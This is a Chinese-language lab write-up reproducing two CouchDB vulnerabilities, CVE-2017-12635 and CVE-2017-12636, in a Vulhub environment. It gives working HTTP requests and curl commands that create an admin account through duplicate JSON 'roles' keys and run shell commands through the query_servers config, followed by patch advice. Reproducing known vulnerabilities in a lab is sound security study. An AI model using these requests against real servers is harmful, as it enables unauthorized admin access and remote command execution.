CouchDB 漏洞复现
字数 1147 2025-08-11 08:36:18
CouchDB 漏洞复现与分析(CVE-2017-12635 & CVE-2017-12636)
漏洞概述
CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JSON API 访问。本次分析的两个漏洞分别是:
- CVE-2017-12635:由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性,使得任意用户可创建管理员账户(垂直权限绕过漏洞)
- CVE-2017-12636:任意命令执行漏洞,可通过config API修改CouchDB的配置query_server,该配置项在设计、执行view时将被执行
影响版本:
- 小于 1.7.0
- 小于 2.1.1
环境搭建
使用Vulhub的漏洞平台进行复现:
docker-compose up -d
访问 http://[靶机IP]:5984/_utils/#login 出现登录页面即搭建成功。
CVE-2017-12635 复现(权限绕过)
漏洞原理
由于Erlang和JavaScript对JSON解析方式的差异,当发送包含两个roles字段的数据包时,CouchDB会使用JavaScript解析后的结果(roles为空数组),而忽略Erlang解析出的管理员权限,从而绕过权限检查。
复现步骤
- 尝试直接创建管理员账户(会被拒绝):
PUT /_users/org.couchdb.user:liangban HTTP/1.1
Host: www.0-sec.org:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/json
Content-Length: 104
{
"type": "user",
"name": "liangban",
"roles": ["_admin"],
"password": "liangban"
}
- 绕过role验证:发送包含两个roles的数据包
PUT /_users/org.couchdb.user:liangban HTTP/1.1
Host: www.0-sec.org:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/json
Content-Length: 104
{
"type": "user",
"name": "liangban",
"roles": ["_admin"],
"roles": [],
"password": "liangban"
}
- 使用创建的用户登录验证:
- 用户名:liangban
- 密码:liangban
- 确认已获得管理员权限
CVE-2017-12636 复现(命令执行)
漏洞原理
通过config API修改query_servers配置,该配置会在设计、执行view时被执行,从而实现任意命令执行。
CouchDB 2.x 复现步骤
- 获取node名称(需要管理员权限):
curl http://liangban:liangban@192.168.52.128:5984/_membership
返回示例:
{"all_nodes":["nonode@nohost"],"cluster_nodes":["nonode@nohost"]}
- 修改node配置(执行命令):
curl -X PUT http://liangban:liangban@192.168.52.128:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
- 创建测试数据库:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan'
- 创建测试文档:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
- 添加_view触发命令执行:
curl -X PUT http://liangban:liangban@192.168.52.128:5984/zhuan/_design/test -d '{"_id":"_design/test","views":{"wooyun":{"map":"wooyun"}}}' -H "Content-Type: application/json"
- 验证命令执行结果:
进入容器检查/tmp/success文件是否创建成功。
CouchDB 1.6.x 复现步骤
- 修改query_servers配置:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
- 创建测试数据库:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan'
- 创建测试文档:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
- 通过_temp_view触发命令执行:
curl -X POST 'http://liangban:liangban@192.168.52.128:5984/zhuan/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
漏洞修复建议
- 升级到CouchDB 1.7.0或2.1.1及以上版本
- 如无法立即升级,可采取以下临时措施:
- 限制CouchDB的访问IP
- 配置防火墙规则
- 禁用不必要的API接口
EXP利用
文中提到可通过公众号获取Python编写的自动化利用脚本,该脚本应包含:
- 自动检测CouchDB版本
- 根据版本选择利用方式
- 支持自定义命令执行
- 支持反弹shell等功能
注意:实际利用时应遵守法律法规,仅在授权测试的环境中使用。